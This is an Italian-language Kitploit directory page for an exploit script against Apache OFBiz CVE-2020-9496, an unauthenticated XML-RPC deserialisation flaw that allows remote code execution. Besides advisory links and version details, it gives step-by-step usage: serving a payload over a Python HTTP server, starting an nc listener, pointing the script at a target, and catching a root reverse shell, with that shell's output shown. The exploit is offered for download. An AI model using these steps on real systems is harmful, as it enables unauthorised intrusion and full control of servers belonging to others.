Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-9496 — Script di exploit per la vulnerabilità di deserializzazione non sicura di Apache OFBiz CVE-2020-9496, che consente l'esecuzione remota di codice tramite richieste XML-RPC appositamente modificate con invio di payload reverse shell. | Kitploit
Strumenti/GitHubGitHub/s4dbrd/cve-2020-9496
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebStrumento di Accesso RemotoSviluppo Payload
GitHubs4dbrd/cve-2020-9496

CVE-2020-9496

Script di exploit per la vulnerabilità di deserializzazione non sicura di Apache OFBiz CVE-2020-9496, che consente l'esecuzione remota di codice tramite richieste XML-RPC appositamente modificate con invio di payload reverse shell.

Vedi Repository
45 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-9496

Poiché le 2 richieste xmlrpc correlate in webtools (xmlrpc e ping) non utilizzano l'autenticazione, sono vulnerabili a una deserializzazione non sicura.
Questo problema è stato segnalato al team di sicurezza da Alvaro Munoz [email protected] del GitHub Security Lab team.

Versione interessata 17.12.01

Versioni corrette 18.12.01, 17.12.04

Blog originale: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
Post di Apache: https://issues.apache.org/jira/browse/OFBIZ-11716
POC di Github: https://github.com/g33xter/CVE-2020-9496

Per far funzionare questo exploit, dovrai seguire i seguenti passaggi:

Passo 1: Ospita il servizio HTTP con python3

root@kitploit:~
> sudo python3 -m http.server 80

Passo 2: Esegui il listener nc sulla porta desiderata (Consigliata 8001)

root@kitploit:~
> nc -nlvp 8001

Passo 3: Modifica l'URL e la porta del sito web nello script:

root@kitploit:~
url='https://127.0.0.1' # CHANGE THIS                                                         
port=8443 # CHANGE THIS

Passo 4: Esegui l'exploit come mostrato di seguito

root@kitploit:~
> ./cve-2020-9496.sh -i IP -p PORT

Passo 5: Controlla il listener nc

root@kitploit:~
❯ nc -nlvp 8001
listening on [any] 8001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.x.x] 57500
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@poc:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
root@poc:/usr/src/apache-ofbiz-17.12.01#
Scarica lo strumento